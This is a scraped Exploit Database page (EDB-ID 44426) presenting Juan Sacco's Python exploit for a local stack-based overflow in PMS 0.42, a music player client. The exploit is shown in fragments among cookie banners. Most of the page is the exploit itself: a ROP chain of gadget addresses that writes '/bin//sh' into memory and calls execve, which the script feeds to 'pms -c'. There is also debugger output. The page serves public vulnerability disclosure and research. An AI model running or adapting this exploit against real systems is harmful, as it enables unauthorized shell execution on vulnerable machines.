



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

PMS 0.42 - Local Stack-Based Overflow (ROP)

EDB-ID:

44426

CVE:

N/A

EDB Verified: ✘

Author:

[JUAN SACCO](#)

Type:

[LOCAL](#)

Exploit:   / 



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> -
http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: PMS 0.42 is prone to a local unauthenticated stack-based
overflow
# The vulnerability is due to an improper filter of user supplied input
while reading
# the configuration file and parsing the malicious crafted values.
#
# 0004| 0xbfffe6c4 --> 0x445b91 (": could not open file.\n")
# 0008| 0xbfffe6c8 --> 0xbfffe720 ("Didn't find configuration file ", 'A'
<repeats 169 times>...)
# 0012| 0xbfffe6cc --> 0xbfffe6f8 --> 0x736e6f00 ('')
#
# Program: PMS 0.42 Practical Music Search, an MPD client
# PMS is an ncurses based client for Music Player Daemon.
# Vendor homepage: https://pms.sourceforge.net
# Kali Filename: pool/main/p/pms/pms_0.42-1+b2_i386.deb
#
# CANARY      : disabled
```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details >](#)

```
out>, code=0x414141, format=<optimized out>) at src/pms.cpp:982
#1 0x41414141 in ?? ()

import os, subprocess
from struct import pack

# rop execve ( bin/sh )
rop = "A"*1017 # junk
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi
; pop ebp ; ret
rop += pack('<I', 0x0811abe0) # @ .data
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; popedi ;
pop ebp ; ret
rop += pack('<I', 0x0811abe4) # @ .data + 4
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```

rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0807b744) # pop eax ; ret
rop += '//sh'
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop edi
; pop ebp ; ret
rop += pack('<I', 0x0811abe8) # @ .data + 8
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x41414141) # padding
rop += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop ebx ;
pop ebp ; ret
rop += pack('<I', 0x41414141) # padding

```

Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```

rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080e571f) # inc eax ; ret
rop += pack('<I', 0x080c861f) # int 0x80

```

try:

```

print("[*] PMS 0.42 Buffer Overflow by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["pms -c", rop])

```

except OSError as e:

```

if e.errno == os.errno.ENOENT:
    print "PMS not found!"
else:
    print "Error executing exploit"
raise

```

Tags:

Advisory/Source: [Link](#)

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

TERMS

PRIVACY

ABOUT US

FAQ

COOKIES

OffSec Services Limited 2026. All rights reserved.



Cookiebot by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >